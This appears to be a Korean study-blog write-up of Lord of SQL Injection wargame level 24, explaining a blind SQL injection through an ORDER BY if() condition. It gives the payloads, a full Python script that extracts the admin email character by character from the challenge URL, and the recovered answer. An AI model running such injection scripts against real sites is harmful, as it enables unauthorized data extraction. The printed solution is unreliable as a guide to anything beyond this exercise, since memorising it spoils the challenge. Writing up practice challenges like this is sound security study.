Wargame/Lord of SQL Injection

[Lord of SQL Injection] 24번 evil_wizard 풀이

염베리 2021. 12. 18. 03:20

* 개인적인 공부 내용을 기록한 글입니다.


이전 문제

https://choco4study.tistory.com/112

 

[Lord of SQL Injection] 23번 hell_fire 풀이

* 개인적인 공부 내용을 기록한 글입니다. 사담 풀긴 풀었는데ㅋㅋㅋㅋㅋㅋㅋㅋㅋ 이게 맞나 싶다... 푸는데 시간이 너무 오래 걸려서 분석은 내일 추가하려고 한다. 다른 사람들은 어떻게 풀었

choco4study.tistory.com


24번 문제 evil_wizard 분석 및 풀이

 

 

24번 문제는 다음과 같다.

 

 

소스 코드만 보면 저번 문제와 완전히 같다.

물론 같은 문제일리가 없으니 테이블 내부 데이터를 확인해본다.

 

다음은 order=1을 페이로드로 전달했을 때 볼 수 있는 테이블이다.

 

 

이번 문제는 id ASC로 정렬해도, score ASC로 정렬해도 그 결과가 같을 것임을 예상할 수 있다.

 

그렇다면 이번에는,

if 조건문의 참/거짓에 따라 각각 "1 ASC"와 "1 DESC"를 반환해주면 될 것 같다.

 

그렇게 해주면 if문의 조건이 참인 경우,

admin 레코드가 위로 올라가게 되며, 이 경우 res.text에는

50</td></tr><tr><td>rubiya

가 포함될 것이다.

 

따라서, 전달해줄 페이로드는 다음과 같다.

 

[1] pw의 길이 찾기

?order=if(id='admin' and length(email)=[길이], '1 ASC', '1 DESC')

 

[2] 완전한 pw 찾기

?order=if(id='admin' and ascii(substr(email,{len},1))=[아스키], '1 ASC', '1 DESC')

 

[3] 참 판별

if("50</td></tr><tr><td>rubiya" in res.text)

 

 

LoS 24번 Python 자동화 코드이다.

import requests

def send(param):
    url = "https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php"
    cookie = "tp0ja8gkvp5j75fm5lntqomope"
    head = {"PHPSESSID":f"{cookie}"}
    my_url = url+param
    res = requests.get(my_url, cookies=head)
    return res.text

print("💘 LoS 24를 시작합니다")

for num in range(0,100):
    param=f"?order=if(id='admin' and length(email)={num}, '1 ASC', '1 DESC')"
    if("50</td></tr><tr><td>rubiya" in send(param)):
        print(f"👏 email의 길이는 {num}입니다!")
        break

ans=""

for len in range(1, num+1):
    start = 32
    end = 127
    while True:
        middle = round((start+end)/2)
        param=f"?order=if(id='admin' and ascii(substr(email,{len},1))>={middle}, '1 ASC', '1 DESC') %23"
        if("50</td></tr><tr><td>rubiya" in send(param)):
            param=f"?order=if(id='admin' and ascii(substr(email,{len},1))={middle}, '1 ASC', '1 DESC') %23"
            if("50</td></tr><tr><td>rubiya" in send(param)):
                print(f"{len}번째 문자 → {chr(middle)}")
                ans+=chr(middle)
                break
            else:
                start = middle
                continue
        else:
            end = middle
            continue

print(f"👏 email의 정체는 [{ans}]입니다!")

 

Blind 공격 결과, admin의 email은 aasup3r_secure_email@emai1.com 임을 알 수 있다.

 

답을 넣어보면,

 

 

24번 문제가 풀린다.